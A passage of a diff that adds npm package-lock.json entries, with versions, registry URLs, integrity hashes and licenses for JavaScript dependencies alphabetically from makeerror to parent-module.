"1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "tmpl": "1.0.5" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mdn-data": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz", + "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", + "dev": true, + "license": "Unlicense", + "dependencies": { + "fs-monkey": "^1.0.4" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/memoize-one": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz", + "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==", + "license": "MIT" + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true, + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/micromatch/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "dev": true, + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/mini-css-extract-plugin": { + "version": "2.10.2", + "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.10.2.tgz", + "integrity": "sha512-AOSS0IdEB95ayVkxn5oGzNQwqAi2J0Jb/kKm43t7H73s8+f5873g0yuj0PNvK4dO75mu5DHg4nlgp4k6Kga8eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "schema-utils": "^4.0.0", + "tapable": "^2.2.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "dev": true, + "license": "ISC" + }, + "node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/moment": { + "version": "2.30.1", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz", + "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/monaco-editor": { + "version": "0.36.1", + "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.36.1.tgz", + "integrity": "sha512-/CaclMHKQ3A6rnzBzOADfwdSJ25BFoFT0Emxsc4zYVyav5SkK9iA6lEtIeuN/oRYbwPgviJT+t3l+sjFa28jYg==", + "license": "MIT" + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/multicast-dns": { + "version": "7.2.5", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "dev": true, + "license": "MIT", + "dependencies": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/natural-compare-lite": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz", + "integrity": "sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==", + "dev": true, + "license": "MIT" + }, + "node_modules/negotiator": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", + "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true, + "license": "MIT" + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "license": "MIT", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-exports-info": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/node-exports-info/-/node-exports-info-1.6.0.tgz", + "integrity": "sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "array.prototype.flatmap": "^1.3.3", + "es-errors": "^1.3.0", + "object.entries": "^1.1.9", + "semver": "^6.3.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/node-forge": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.4.0.tgz", + "integrity": "sha512-LarFH0+6VfriEhqMMcLX2F7SwSXeWwnEAJEsYm5QKWchiVYVvJyV9v7UDvUv+w5HO23ZpQTXDv/GxdDdMyOuoQ==", + "dev": true, + "license": "(BSD-3-Clause OR GPL-2.0)", + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/node-releases": { + "version": "2.0.37", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.37.tgz", + "integrity": "sha512-1h5gKZCF+pO/o3Iqt5Jp7wc9rH3eJJ0+nh/CIoiRwjRxde/hAHyLPXYN4V3CqKAbiZPSeJFSWHmJsbkicta0Eg==", + "dev": true, + "license": "MIT" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/nwsapi": { + "version": "2.2.23", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz", + "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.6.tgz", + "integrity": "sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.9.tgz", + "integrity": "sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz", + "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.getownpropertydescriptors": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.9.tgz", + "integrity": "sha512-mt8YM6XwsTTovI+kdZdHSxoyF2DI59up034orlC9NfweclcWOt7CVascNNLp6U+bjFVCVCIh9PwS76tDM/rH8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "array.prototype.reduce": "^1.0.8", + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.0", + "es-object-atoms": "^1.1.1", + "gopd": "^1.2.0", + "safe-array-concat": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.groupby": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz", + "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.values": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz", + "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "dev": true, + "license": "MIT" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.1.0.tgz", + "integrity": "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/own-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz", + "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.2.6", + "object-keys": "^1.1.1", + "safe-push-apply": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": 